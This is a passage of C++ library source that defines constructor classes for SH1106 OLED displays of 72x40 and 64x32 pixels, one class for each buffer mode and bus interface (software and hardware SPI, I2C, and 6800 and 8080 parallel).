U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_1_6800 : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_1_8080 : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_2_6800 : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_2_8080 : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_F_6800 : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_F_8080 : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_1_SW_I2C : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_72x40_wise_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_1_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_72x40_wise_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_72x40_wise_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_2_SW_I2C : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_72x40_wise_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_2_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_72x40_wise_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_72x40_wise_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_F_SW_I2C : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_72x40_wise_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_F_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_72x40_wise_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_72x40_wise_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1106_64X32_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_64X32_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_64X32_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_64X32_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_64X32_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_64X32_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_64X32_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_64X32_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1106_64X32_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_64X32_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1106_64X32_1_6800 : public U8G2 {\n  public: U8G2_SH1106_64X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_64X32_1_8080 : public U8G2 {\n  public: U8G2_SH1106_64X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_64X32_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_64X32_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_64X32_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_64X32_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_64X32_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_64X32_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_64X32_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_64X32_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1106_64X32_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_64X32_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1106_64X32_2_6800 : public U8G2 {\n  public: U8G2_SH1106_64X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_64X32_2_8080 : public U8G2 {\n  public: U8G2_SH1106_64X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_64X32_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_64X32_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_64X32_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_64X32_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_64X32_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_64X32_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_64X32_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_64X32_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1106_64X32_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_64X32_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1106_64X32_F_6800 : public U8G2 {\n  public: U8G2_SH1106_64X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_64X32_F_8080 : public U8G2 {\n  public: U8G2_SH1106_64X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_64x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_64X32_1_SW_I2C : public U8G2 {\n  public: U8G2_SH1106_64X32_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_64x32_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1106_64X32_1_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_64X32_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_64x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1106_64X32_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_64X32_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_64x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1106_64X32_2_SW_I2C : public U8G2 {\n  public: U8G2_SH1106_64X32_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_64x32_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1106_64X32_2_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_64X32_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_64x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1106_64X32_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_64X32_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_64x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1106_64X32_F_SW_I2C : public U8G2 {\n  public: U8G2_SH1106_64X32_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_64x32_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1106_64X32_F_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_64X32_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_64x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1106_64X32_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_64X32_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_64x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    